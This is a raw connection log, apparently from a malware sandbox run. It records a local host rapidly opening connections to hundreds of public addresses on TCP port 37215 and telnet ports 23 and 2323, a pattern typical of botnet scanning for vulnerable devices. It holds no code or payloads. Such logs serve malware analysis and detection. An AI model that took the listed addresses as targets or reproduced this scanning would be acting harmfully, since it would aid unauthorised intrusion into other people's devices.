Oct 8, 2024 20:34:55.599036932 CEST	50042	37215	192.168.2.14	197.237.224.136
Oct 8, 2024 20:34:55.599872112 CEST	38254	37215	192.168.2.14	197.71.140.28
Oct 8, 2024 20:34:55.600637913 CEST	57062	37215	192.168.2.14	41.212.4.209
Oct 8, 2024 20:34:55.601464033 CEST	41270	37215	192.168.2.14	41.3.52.83
Oct 8, 2024 20:34:55.602166891 CEST	34554	37215	192.168.2.14	156.126.6.231
Oct 8, 2024 20:34:55.603060007 CEST	45732	37215	192.168.2.14	197.91.221.188
Oct 8, 2024 20:34:55.603817940 CEST	34802	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:55.604695082 CEST	55736	37215	192.168.2.14	156.166.199.178
Oct 8, 2024 20:34:55.605556011 CEST	42808	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:55.606476068 CEST	41972	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:55.607255936 CEST	41158	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:55.608125925 CEST	42966	37215	192.168.2.14	41.241.68.240
Oct 8, 2024 20:34:55.608890057 CEST	32872	37215	192.168.2.14	197.26.143.211
Oct 8, 2024 20:34:55.609265089 CEST	37215	34802	197.42.54.201	192.168.2.14
Oct 8, 2024 20:34:55.609349966 CEST	34802	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:55.609764099 CEST	38190	37215	192.168.2.14	156.156.68.138
Oct 8, 2024 20:34:55.610594034 CEST	39482	37215	192.168.2.14	41.67.30.14
Oct 8, 2024 20:34:55.611418009 CEST	42122	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:55.611485004 CEST	37215	53542	156.125.110.190	192.168.2.14
Oct 8, 2024 20:34:55.611520052 CEST	37215	58900	156.103.50.200	192.168.2.14
Oct 8, 2024 20:34:55.611550093 CEST	37215	35418	41.219.111.19	192.168.2.14
Oct 8, 2024 20:34:55.612149000 CEST	36942	37215	192.168.2.14	156.68.141.208
Oct 8, 2024 20:34:55.613039970 CEST	36540	37215	192.168.2.14	197.145.161.203
Oct 8, 2024 20:34:55.613759995 CEST	33414	37215	192.168.2.14	156.131.17.222
Oct 8, 2024 20:34:55.614511967 CEST	36826	37215	192.168.2.14	156.188.212.194
Oct 8, 2024 20:34:55.615223885 CEST	37348	37215	192.168.2.14	197.11.34.87
Oct 8, 2024 20:34:55.615375042 CEST	53230	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:55.615375042 CEST	32996	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:55.616059065 CEST	53346	37215	192.168.2.14	156.76.221.229
Oct 8, 2024 20:34:55.616750002 CEST	41158	37215	192.168.2.14	197.69.64.180
Oct 8, 2024 20:34:55.616863966 CEST	37215	42122	197.161.78.217	192.168.2.14
Oct 8, 2024 20:34:55.616935015 CEST	42122	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:55.617575884 CEST	53146	37215	192.168.2.14	197.30.191.205
Oct 8, 2024 20:34:55.618361950 CEST	39736	37215	192.168.2.14	197.70.7.124
Oct 8, 2024 20:34:55.619173050 CEST	49040	37215	192.168.2.14	197.56.118.247
Oct 8, 2024 20:34:55.620074034 CEST	53132	37215	192.168.2.14	41.4.87.40
Oct 8, 2024 20:34:55.620876074 CEST	52982	37215	192.168.2.14	156.88.229.99
Oct 8, 2024 20:34:55.621642113 CEST	46942	37215	192.168.2.14	41.44.129.66
Oct 8, 2024 20:34:55.622481108 CEST	40394	37215	192.168.2.14	41.193.92.74
Oct 8, 2024 20:34:55.623308897 CEST	36036	37215	192.168.2.14	41.116.215.52
Oct 8, 2024 20:34:55.624166965 CEST	36322	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.624166965 CEST	36322	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.624504089 CEST	36472	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.624953985 CEST	51876	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:55.624969959 CEST	51876	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:55.625447035 CEST	52066	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:55.625895977 CEST	41320	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:55.625895977 CEST	41320	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:55.626265049 CEST	41456	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:55.626692057 CEST	56026	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:55.626692057 CEST	56026	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:55.627034903 CEST	56112	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:55.627504110 CEST	34802	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:55.627504110 CEST	34802	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:55.627850056 CEST	34860	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:55.628339052 CEST	42122	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:55.628339052 CEST	42122	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:55.628731966 CEST	42164	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:55.629188061 CEST	37215	36322	41.206.217.168	192.168.2.14
Oct 8, 2024 20:34:55.629390001 CEST	37215	36472	41.206.217.168	192.168.2.14
Oct 8, 2024 20:34:55.629479885 CEST	36472	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.629479885 CEST	36472	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.629720926 CEST	37215	51876	41.110.87.225	192.168.2.14
Oct 8, 2024 20:34:55.630716085 CEST	37215	41320	156.184.128.75	192.168.2.14
Oct 8, 2024 20:34:55.631815910 CEST	37215	56026	41.114.141.158	192.168.2.14
Oct 8, 2024 20:34:55.632668972 CEST	37215	34802	197.42.54.201	192.168.2.14
Oct 8, 2024 20:34:55.633187056 CEST	37215	42122	197.161.78.217	192.168.2.14
Oct 8, 2024 20:34:55.635469913 CEST	37215	36472	41.206.217.168	192.168.2.14
Oct 8, 2024 20:34:55.637084007 CEST	37215	36472	41.206.217.168	192.168.2.14
Oct 8, 2024 20:34:55.637206078 CEST	36472	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.647411108 CEST	53440	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:55.647417068 CEST	48280	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:55.652453899 CEST	37215	53440	156.131.248.248	192.168.2.14
Oct 8, 2024 20:34:55.652486086 CEST	37215	48280	41.206.221.4	192.168.2.14
Oct 8, 2024 20:34:55.652560949 CEST	53440	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:55.652571917 CEST	48280	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:55.652673960 CEST	48280	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:55.652702093 CEST	53440	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:55.658272982 CEST	37215	53440	156.131.248.248	192.168.2.14
Oct 8, 2024 20:34:55.658339024 CEST	53440	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:55.658440113 CEST	37215	48280	41.206.221.4	192.168.2.14
Oct 8, 2024 20:34:55.658500910 CEST	48280	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:55.671578884 CEST	37215	41320	156.184.128.75	192.168.2.14
Oct 8, 2024 20:34:55.671612024 CEST	37215	51876	41.110.87.225	192.168.2.14
Oct 8, 2024 20:34:55.671642065 CEST	37215	36322	41.206.217.168	192.168.2.14
Oct 8, 2024 20:34:55.679491043 CEST	37215	42122	197.161.78.217	192.168.2.14
Oct 8, 2024 20:34:55.679519892 CEST	37215	34802	197.42.54.201	192.168.2.14
Oct 8, 2024 20:34:55.679548979 CEST	37215	56026	41.114.141.158	192.168.2.14
Oct 8, 2024 20:34:56.469326019 CEST	2323	36780	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:56.469681978 CEST	36780	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:56.470170975 CEST	36958	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:56.470459938 CEST	48168	2323	192.168.2.14	5.180.210.180
Oct 8, 2024 20:34:56.470472097 CEST	48168	23	192.168.2.14	60.192.135.50
Oct 8, 2024 20:34:56.470472097 CEST	48168	23	192.168.2.14	217.198.202.193
Oct 8, 2024 20:34:56.470484972 CEST	48168	23	192.168.2.14	153.3.150.228
Oct 8, 2024 20:34:56.470489025 CEST	48168	23	192.168.2.14	4.135.196.127
Oct 8, 2024 20:34:56.470504045 CEST	48168	23	192.168.2.14	151.94.120.113
Oct 8, 2024 20:34:56.470504045 CEST	48168	23	192.168.2.14	32.204.48.107
Oct 8, 2024 20:34:56.470511913 CEST	48168	23	192.168.2.14	27.156.28.52
Oct 8, 2024 20:34:56.470513105 CEST	48168	23	192.168.2.14	73.49.44.147
Oct 8, 2024 20:34:56.470516920 CEST	48168	23	192.168.2.14	140.216.243.230
Oct 8, 2024 20:34:56.470519066 CEST	48168	2323	192.168.2.14	190.136.215.239
Oct 8, 2024 20:34:56.470525980 CEST	48168	23	192.168.2.14	184.187.94.14
Oct 8, 2024 20:34:56.470545053 CEST	48168	23	192.168.2.14	219.242.216.86
Oct 8, 2024 20:34:56.470545053 CEST	48168	23	192.168.2.14	157.170.171.144
Oct 8, 2024 20:34:56.470545053 CEST	48168	23	192.168.2.14	1.249.132.172
Oct 8, 2024 20:34:56.470552921 CEST	48168	23	192.168.2.14	42.213.123.23
Oct 8, 2024 20:34:56.470571041 CEST	48168	23	192.168.2.14	157.164.232.125
Oct 8, 2024 20:34:56.470575094 CEST	48168	23	192.168.2.14	108.247.42.171
Oct 8, 2024 20:34:56.470575094 CEST	48168	23	192.168.2.14	103.8.105.128
Oct 8, 2024 20:34:56.470588923 CEST	48168	23	192.168.2.14	107.123.172.28
Oct 8, 2024 20:34:56.470593929 CEST	48168	2323	192.168.2.14	174.1.100.73
Oct 8, 2024 20:34:56.470601082 CEST	48168	23	192.168.2.14	116.56.192.106
Oct 8, 2024 20:34:56.470608950 CEST	48168	23	192.168.2.14	12.173.169.178
Oct 8, 2024 20:34:56.470611095 CEST	48168	23	192.168.2.14	35.149.97.25
Oct 8, 2024 20:34:56.470617056 CEST	48168	23	192.168.2.14	14.88.238.24
Oct 8, 2024 20:34:56.470634937 CEST	48168	23	192.168.2.14	81.45.254.220
Oct 8, 2024 20:34:56.470638037 CEST	48168	23	192.168.2.14	1.75.41.172
Oct 8, 2024 20:34:56.470638037 CEST	48168	23	192.168.2.14	200.100.239.83
Oct 8, 2024 20:34:56.470657110 CEST	48168	23	192.168.2.14	145.27.186.253
Oct 8, 2024 20:34:56.470662117 CEST	48168	2323	192.168.2.14	23.215.99.133
Oct 8, 2024 20:34:56.470664978 CEST	48168	23	192.168.2.14	155.251.19.207
Oct 8, 2024 20:34:56.470669985 CEST	48168	23	192.168.2.14	107.117.42.189
Oct 8, 2024 20:34:56.470679045 CEST	48168	23	192.168.2.14	196.140.22.25
Oct 8, 2024 20:34:56.470674038 CEST	48168	23	192.168.2.14	217.66.31.162
Oct 8, 2024 20:34:56.470686913 CEST	48168	23	192.168.2.14	218.231.146.203
Oct 8, 2024 20:34:56.470695972 CEST	48168	23	192.168.2.14	205.155.163.85
Oct 8, 2024 20:34:56.470700026 CEST	48168	23	192.168.2.14	111.151.220.185
Oct 8, 2024 20:34:56.470719099 CEST	48168	23	192.168.2.14	174.127.244.165
Oct 8, 2024 20:34:56.470721006 CEST	48168	23	192.168.2.14	156.66.69.236
Oct 8, 2024 20:34:56.470721960 CEST	48168	23	192.168.2.14	202.103.117.25
Oct 8, 2024 20:34:56.470721960 CEST	48168	2323	192.168.2.14	122.248.239.118
Oct 8, 2024 20:34:56.470726013 CEST	48168	23	192.168.2.14	44.231.119.146
Oct 8, 2024 20:34:56.470733881 CEST	48168	23	192.168.2.14	158.141.1.138
Oct 8, 2024 20:34:56.470746040 CEST	48168	23	192.168.2.14	63.78.4.57
Oct 8, 2024 20:34:56.470750093 CEST	48168	23	192.168.2.14	12.216.116.10
Oct 8, 2024 20:34:56.470756054 CEST	48168	23	192.168.2.14	73.228.121.212
Oct 8, 2024 20:34:56.470766068 CEST	48168	2323	192.168.2.14	126.216.173.166
Oct 8, 2024 20:34:56.470767021 CEST	48168	23	192.168.2.14	9.90.218.107
Oct 8, 2024 20:34:56.470767975 CEST	48168	23	192.168.2.14	2.80.159.44
Oct 8, 2024 20:34:56.470767975 CEST	48168	23	192.168.2.14	213.64.211.11
Oct 8, 2024 20:34:56.470768929 CEST	48168	23	192.168.2.14	46.234.241.155
Oct 8, 2024 20:34:56.470788002 CEST	48168	23	192.168.2.14	110.0.12.222
Oct 8, 2024 20:34:56.470797062 CEST	48168	23	192.168.2.14	110.226.61.160
Oct 8, 2024 20:34:56.470809937 CEST	48168	23	192.168.2.14	65.97.144.139
Oct 8, 2024 20:34:56.470812082 CEST	48168	23	192.168.2.14	80.29.229.195
Oct 8, 2024 20:34:56.470830917 CEST	48168	2323	192.168.2.14	108.11.36.64
Oct 8, 2024 20:34:56.470833063 CEST	48168	23	192.168.2.14	213.140.3.244
Oct 8, 2024 20:34:56.470835924 CEST	48168	23	192.168.2.14	183.158.244.219
Oct 8, 2024 20:34:56.470838070 CEST	48168	23	192.168.2.14	193.170.40.139
Oct 8, 2024 20:34:56.470839024 CEST	48168	23	192.168.2.14	103.26.220.170
Oct 8, 2024 20:34:56.470839024 CEST	48168	23	192.168.2.14	168.35.22.90
Oct 8, 2024 20:34:56.470838070 CEST	48168	23	192.168.2.14	163.233.45.1
Oct 8, 2024 20:34:56.470844030 CEST	48168	23	192.168.2.14	197.97.230.146
Oct 8, 2024 20:34:56.470854998 CEST	48168	23	192.168.2.14	148.99.220.64
Oct 8, 2024 20:34:56.470860004 CEST	48168	23	192.168.2.14	156.236.22.24
Oct 8, 2024 20:34:56.470860004 CEST	48168	23	192.168.2.14	153.189.191.233
Oct 8, 2024 20:34:56.470871925 CEST	48168	23	192.168.2.14	209.27.255.26
Oct 8, 2024 20:34:56.470877886 CEST	48168	23	192.168.2.14	120.141.55.10
Oct 8, 2024 20:34:56.470877886 CEST	48168	23	192.168.2.14	155.183.121.3
Oct 8, 2024 20:34:56.470887899 CEST	48168	23	192.168.2.14	173.47.42.46
Oct 8, 2024 20:34:56.470894098 CEST	48168	2323	192.168.2.14	18.195.26.200
Oct 8, 2024 20:34:56.470904112 CEST	48168	23	192.168.2.14	1.76.177.164
Oct 8, 2024 20:34:56.470904112 CEST	48168	23	192.168.2.14	151.29.120.55
Oct 8, 2024 20:34:56.470915079 CEST	48168	23	192.168.2.14	53.231.70.73
Oct 8, 2024 20:34:56.470932007 CEST	48168	23	192.168.2.14	90.43.251.21
Oct 8, 2024 20:34:56.470932961 CEST	48168	23	192.168.2.14	94.94.209.137
Oct 8, 2024 20:34:56.470933914 CEST	48168	23	192.168.2.14	67.140.80.211
Oct 8, 2024 20:34:56.470936060 CEST	48168	23	192.168.2.14	181.82.206.191
Oct 8, 2024 20:34:56.470932961 CEST	48168	23	192.168.2.14	112.151.120.137
Oct 8, 2024 20:34:56.470936060 CEST	48168	2323	192.168.2.14	212.180.10.195
Oct 8, 2024 20:34:56.470933914 CEST	48168	23	192.168.2.14	117.189.4.254
Oct 8, 2024 20:34:56.470948935 CEST	48168	23	192.168.2.14	175.174.128.132
Oct 8, 2024 20:34:56.470948935 CEST	48168	23	192.168.2.14	166.186.1.115
Oct 8, 2024 20:34:56.470951080 CEST	48168	23	192.168.2.14	45.229.115.167
Oct 8, 2024 20:34:56.470957994 CEST	48168	23	192.168.2.14	53.163.108.100
Oct 8, 2024 20:34:56.470971107 CEST	48168	23	192.168.2.14	124.141.49.138
Oct 8, 2024 20:34:56.470971107 CEST	48168	23	192.168.2.14	81.230.9.128
Oct 8, 2024 20:34:56.470983028 CEST	48168	23	192.168.2.14	176.164.8.168
Oct 8, 2024 20:34:56.470987082 CEST	48168	23	192.168.2.14	120.59.212.13
Oct 8, 2024 20:34:56.470999002 CEST	48168	23	192.168.2.14	80.164.221.41
Oct 8, 2024 20:34:56.471004009 CEST	48168	23	192.168.2.14	169.175.146.128
Oct 8, 2024 20:34:56.471008062 CEST	48168	23	192.168.2.14	78.99.76.96
Oct 8, 2024 20:34:56.471008062 CEST	48168	2323	192.168.2.14	202.73.72.153
Oct 8, 2024 20:34:56.471024990 CEST	48168	23	192.168.2.14	84.253.245.106
Oct 8, 2024 20:34:56.471025944 CEST	48168	23	192.168.2.14	60.96.13.136
Oct 8, 2024 20:34:56.471025944 CEST	48168	23	192.168.2.14	207.12.67.112
Oct 8, 2024 20:34:56.471034050 CEST	48168	23	192.168.2.14	4.180.65.181
Oct 8, 2024 20:34:56.471054077 CEST	48168	23	192.168.2.14	20.37.88.35
Oct 8, 2024 20:34:56.471055984 CEST	48168	23	192.168.2.14	172.51.51.133
Oct 8, 2024 20:34:56.471055984 CEST	48168	23	192.168.2.14	67.71.19.46
Oct 8, 2024 20:34:56.471066952 CEST	48168	23	192.168.2.14	84.206.184.116
Oct 8, 2024 20:34:56.471067905 CEST	48168	2323	192.168.2.14	149.100.15.145
Oct 8, 2024 20:34:56.471072912 CEST	48168	23	192.168.2.14	19.73.220.157
Oct 8, 2024 20:34:56.471076012 CEST	48168	23	192.168.2.14	184.64.121.89
Oct 8, 2024 20:34:56.471076012 CEST	48168	23	192.168.2.14	187.17.211.239
Oct 8, 2024 20:34:56.471079111 CEST	48168	23	192.168.2.14	212.156.191.101
Oct 8, 2024 20:34:56.471086025 CEST	48168	23	192.168.2.14	183.162.44.204
Oct 8, 2024 20:34:56.471087933 CEST	48168	23	192.168.2.14	115.243.114.60
Oct 8, 2024 20:34:56.471095085 CEST	48168	23	192.168.2.14	47.140.124.95
Oct 8, 2024 20:34:56.471103907 CEST	48168	23	192.168.2.14	123.114.98.38
Oct 8, 2024 20:34:56.471105099 CEST	48168	23	192.168.2.14	54.35.175.19
Oct 8, 2024 20:34:56.471116066 CEST	48168	2323	192.168.2.14	173.158.207.172
Oct 8, 2024 20:34:56.471117020 CEST	48168	23	192.168.2.14	213.0.247.136
Oct 8, 2024 20:34:56.471116066 CEST	48168	23	192.168.2.14	108.143.64.60
Oct 8, 2024 20:34:56.471118927 CEST	48168	23	192.168.2.14	135.135.239.181
Oct 8, 2024 20:34:56.471118927 CEST	48168	23	192.168.2.14	200.176.250.76
Oct 8, 2024 20:34:56.471123934 CEST	48168	23	192.168.2.14	200.140.220.159
Oct 8, 2024 20:34:56.471127987 CEST	48168	23	192.168.2.14	173.59.173.116
Oct 8, 2024 20:34:56.471132994 CEST	48168	23	192.168.2.14	200.29.61.228
Oct 8, 2024 20:34:56.471148014 CEST	48168	23	192.168.2.14	89.58.213.132
Oct 8, 2024 20:34:56.471153021 CEST	48168	23	192.168.2.14	125.106.180.127
Oct 8, 2024 20:34:56.471153975 CEST	48168	23	192.168.2.14	59.9.58.200
Oct 8, 2024 20:34:56.471154928 CEST	48168	2323	192.168.2.14	46.180.162.3
Oct 8, 2024 20:34:56.471167088 CEST	48168	23	192.168.2.14	97.47.234.120
Oct 8, 2024 20:34:56.471168995 CEST	48168	23	192.168.2.14	19.135.17.199
Oct 8, 2024 20:34:56.471179962 CEST	48168	23	192.168.2.14	81.215.248.110
Oct 8, 2024 20:34:56.471184015 CEST	48168	23	192.168.2.14	201.42.119.56
Oct 8, 2024 20:34:56.471185923 CEST	48168	23	192.168.2.14	9.11.183.7
Oct 8, 2024 20:34:56.471203089 CEST	48168	23	192.168.2.14	24.23.93.157
Oct 8, 2024 20:34:56.471206903 CEST	48168	23	192.168.2.14	39.59.117.255
Oct 8, 2024 20:34:56.471219063 CEST	48168	23	192.168.2.14	1.235.228.205
Oct 8, 2024 20:34:56.471220970 CEST	48168	2323	192.168.2.14	13.2.206.247
Oct 8, 2024 20:34:56.471225023 CEST	48168	23	192.168.2.14	24.242.15.186
Oct 8, 2024 20:34:56.471226931 CEST	48168	23	192.168.2.14	115.190.215.168
Oct 8, 2024 20:34:56.471242905 CEST	48168	23	192.168.2.14	97.224.146.68
Oct 8, 2024 20:34:56.471242905 CEST	48168	23	192.168.2.14	211.159.199.254
Oct 8, 2024 20:34:56.471250057 CEST	48168	23	192.168.2.14	78.208.61.99
Oct 8, 2024 20:34:56.471260071 CEST	48168	23	192.168.2.14	163.108.132.235
Oct 8, 2024 20:34:56.471268892 CEST	48168	23	192.168.2.14	111.211.253.100
Oct 8, 2024 20:34:56.471268892 CEST	48168	23	192.168.2.14	44.172.171.37
Oct 8, 2024 20:34:56.471276045 CEST	48168	23	192.168.2.14	207.196.176.133
Oct 8, 2024 20:34:56.471278906 CEST	48168	2323	192.168.2.14	162.193.8.83
Oct 8, 2024 20:34:56.471282959 CEST	48168	23	192.168.2.14	130.4.204.120
Oct 8, 2024 20:34:56.471286058 CEST	48168	23	192.168.2.14	217.222.105.235
Oct 8, 2024 20:34:56.471309900 CEST	48168	23	192.168.2.14	116.187.71.205
Oct 8, 2024 20:34:56.471311092 CEST	48168	23	192.168.2.14	82.85.15.211
Oct 8, 2024 20:34:56.471317053 CEST	48168	23	192.168.2.14	159.2.133.146
Oct 8, 2024 20:34:56.471332073 CEST	48168	23	192.168.2.14	197.233.38.122
Oct 8, 2024 20:34:56.471335888 CEST	48168	23	192.168.2.14	181.233.166.27
Oct 8, 2024 20:34:56.471338034 CEST	48168	23	192.168.2.14	110.19.153.218
Oct 8, 2024 20:34:56.471338034 CEST	48168	2323	192.168.2.14	87.170.183.167
Oct 8, 2024 20:34:56.471343994 CEST	48168	23	192.168.2.14	35.61.173.166
Oct 8, 2024 20:34:56.471343994 CEST	48168	23	192.168.2.14	64.44.220.188
Oct 8, 2024 20:34:56.471354008 CEST	48168	23	192.168.2.14	24.177.99.19
Oct 8, 2024 20:34:56.471364021 CEST	48168	23	192.168.2.14	208.199.13.100
Oct 8, 2024 20:34:56.471364021 CEST	48168	23	192.168.2.14	172.41.198.240
Oct 8, 2024 20:34:56.471370935 CEST	48168	23	192.168.2.14	178.77.36.147
Oct 8, 2024 20:34:56.471379042 CEST	48168	23	192.168.2.14	14.89.163.116
Oct 8, 2024 20:34:56.471395016 CEST	48168	23	192.168.2.14	111.176.204.51
Oct 8, 2024 20:34:56.471420050 CEST	48168	23	192.168.2.14	68.154.29.14
Oct 8, 2024 20:34:56.474674940 CEST	2323	36780	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:56.474932909 CEST	2323	36958	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:56.475003004 CEST	36958	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:56.475254059 CEST	2323	48168	5.180.210.180	192.168.2.14
Oct 8, 2024 20:34:56.475322962 CEST	23	48168	60.192.135.50	192.168.2.14
Oct 8, 2024 20:34:56.475351095 CEST	48168	2323	192.168.2.14	5.180.210.180
Oct 8, 2024 20:34:56.475373030 CEST	48168	23	192.168.2.14	60.192.135.50
Oct 8, 2024 20:34:56.475438118 CEST	23	48168	217.198.202.193	192.168.2.14
Oct 8, 2024 20:34:56.475514889 CEST	48168	23	192.168.2.14	217.198.202.193
Oct 8, 2024 20:34:56.476059914 CEST	23	48168	153.3.150.228	192.168.2.14
Oct 8, 2024 20:34:56.476078033 CEST	23	48168	4.135.196.127	192.168.2.14
Oct 8, 2024 20:34:56.476090908 CEST	23	48168	151.94.120.113	192.168.2.14
Oct 8, 2024 20:34:56.476105928 CEST	23	48168	32.204.48.107	192.168.2.14
Oct 8, 2024 20:34:56.476113081 CEST	48168	23	192.168.2.14	153.3.150.228
Oct 8, 2024 20:34:56.476120949 CEST	23	48168	27.156.28.52	192.168.2.14
Oct 8, 2024 20:34:56.476123095 CEST	48168	23	192.168.2.14	4.135.196.127
Oct 8, 2024 20:34:56.476123095 CEST	48168	23	192.168.2.14	151.94.120.113
Oct 8, 2024 20:34:56.476135015 CEST	48168	23	192.168.2.14	32.204.48.107
Oct 8, 2024 20:34:56.476136923 CEST	23	48168	73.49.44.147	192.168.2.14
Oct 8, 2024 20:34:56.476151943 CEST	23	48168	140.216.243.230	192.168.2.14
Oct 8, 2024 20:34:56.476166010 CEST	23	48168	184.187.94.14	192.168.2.14
Oct 8, 2024 20:34:56.476171017 CEST	48168	23	192.168.2.14	73.49.44.147
Oct 8, 2024 20:34:56.476181984 CEST	2323	48168	190.136.215.239	192.168.2.14
Oct 8, 2024 20:34:56.476186037 CEST	48168	23	192.168.2.14	140.216.243.230
Oct 8, 2024 20:34:56.476186991 CEST	48168	23	192.168.2.14	27.156.28.52
Oct 8, 2024 20:34:56.476196051 CEST	23	48168	219.242.216.86	192.168.2.14
Oct 8, 2024 20:34:56.476206064 CEST	48168	23	192.168.2.14	184.187.94.14
Oct 8, 2024 20:34:56.476211071 CEST	23	48168	1.249.132.172	192.168.2.14
Oct 8, 2024 20:34:56.476214886 CEST	48168	2323	192.168.2.14	190.136.215.239
Oct 8, 2024 20:34:56.476224899 CEST	23	48168	157.170.171.144	192.168.2.14
Oct 8, 2024 20:34:56.476233006 CEST	48168	23	192.168.2.14	219.242.216.86
Oct 8, 2024 20:34:56.476243973 CEST	48168	23	192.168.2.14	1.249.132.172
Oct 8, 2024 20:34:56.476252079 CEST	23	48168	42.213.123.23	192.168.2.14
Oct 8, 2024 20:34:56.476259947 CEST	48168	23	192.168.2.14	157.170.171.144
Oct 8, 2024 20:34:56.476268053 CEST	23	48168	157.164.232.125	192.168.2.14
Oct 8, 2024 20:34:56.476280928 CEST	23	48168	108.247.42.171	192.168.2.14
Oct 8, 2024 20:34:56.476285934 CEST	48168	23	192.168.2.14	42.213.123.23
Oct 8, 2024 20:34:56.476295948 CEST	23	48168	103.8.105.128	192.168.2.14
Oct 8, 2024 20:34:56.476310968 CEST	23	48168	107.123.172.28	192.168.2.14
Oct 8, 2024 20:34:56.476317883 CEST	48168	23	192.168.2.14	108.247.42.171
Oct 8, 2024 20:34:56.476325035 CEST	23	48168	116.56.192.106	192.168.2.14
Oct 8, 2024 20:34:56.476331949 CEST	48168	23	192.168.2.14	103.8.105.128
Oct 8, 2024 20:34:56.476340055 CEST	2323	48168	174.1.100.73	192.168.2.14
Oct 8, 2024 20:34:56.476344109 CEST	48168	23	192.168.2.14	107.123.172.28
Oct 8, 2024 20:34:56.476355076 CEST	23	48168	35.149.97.25	192.168.2.14
Oct 8, 2024 20:34:56.476361990 CEST	48168	23	192.168.2.14	116.56.192.106
Oct 8, 2024 20:34:56.476368904 CEST	23	48168	12.173.169.178	192.168.2.14
Oct 8, 2024 20:34:56.476375103 CEST	23	48168	14.88.238.24	192.168.2.14
Oct 8, 2024 20:34:56.476378918 CEST	48168	23	192.168.2.14	157.164.232.125
Oct 8, 2024 20:34:56.476381063 CEST	23	48168	81.45.254.220	192.168.2.14
Oct 8, 2024 20:34:56.476380110 CEST	48168	2323	192.168.2.14	174.1.100.73
Oct 8, 2024 20:34:56.476389885 CEST	23	48168	1.75.41.172	192.168.2.14
Oct 8, 2024 20:34:56.476394892 CEST	23	48168	200.100.239.83	192.168.2.14
Oct 8, 2024 20:34:56.476401091 CEST	23	48168	145.27.186.253	192.168.2.14
Oct 8, 2024 20:34:56.476428032 CEST	48168	23	192.168.2.14	1.75.41.172
Oct 8, 2024 20:34:56.476428032 CEST	48168	23	192.168.2.14	35.149.97.25
Oct 8, 2024 20:34:56.476434946 CEST	48168	23	192.168.2.14	14.88.238.24
Oct 8, 2024 20:34:56.476435900 CEST	48168	23	192.168.2.14	12.173.169.178
Oct 8, 2024 20:34:56.476445913 CEST	48168	23	192.168.2.14	81.45.254.220
Oct 8, 2024 20:34:56.476448059 CEST	48168	23	192.168.2.14	145.27.186.253
Oct 8, 2024 20:34:56.476449966 CEST	48168	23	192.168.2.14	200.100.239.83
Oct 8, 2024 20:34:56.476556063 CEST	2323	48168	23.215.99.133	192.168.2.14
Oct 8, 2024 20:34:56.476569891 CEST	23	48168	107.117.42.189	192.168.2.14
Oct 8, 2024 20:34:56.476583004 CEST	23	48168	155.251.19.207	192.168.2.14
Oct 8, 2024 20:34:56.476593018 CEST	48168	2323	192.168.2.14	23.215.99.133
Oct 8, 2024 20:34:56.476596117 CEST	23	48168	196.140.22.25	192.168.2.14
Oct 8, 2024 20:34:56.476607084 CEST	48168	23	192.168.2.14	107.117.42.189
Oct 8, 2024 20:34:56.476610899 CEST	23	48168	218.231.146.203	192.168.2.14
Oct 8, 2024 20:34:56.476618052 CEST	48168	23	192.168.2.14	155.251.19.207
Oct 8, 2024 20:34:56.476625919 CEST	23	48168	205.155.163.85	192.168.2.14
Oct 8, 2024 20:34:56.476629972 CEST	48168	23	192.168.2.14	196.140.22.25
Oct 8, 2024 20:34:56.476640940 CEST	23	48168	111.151.220.185	192.168.2.14
Oct 8, 2024 20:34:56.476648092 CEST	48168	23	192.168.2.14	218.231.146.203
Oct 8, 2024 20:34:56.476653099 CEST	48168	23	192.168.2.14	205.155.163.85
Oct 8, 2024 20:34:56.476654053 CEST	23	48168	174.127.244.165	192.168.2.14
Oct 8, 2024 20:34:56.476670980 CEST	23	48168	156.66.69.236	192.168.2.14
Oct 8, 2024 20:34:56.476675034 CEST	48168	23	192.168.2.14	111.151.220.185
Oct 8, 2024 20:34:56.476694107 CEST	23	48168	202.103.117.25	192.168.2.14
Oct 8, 2024 20:34:56.476696014 CEST	48168	23	192.168.2.14	174.127.244.165
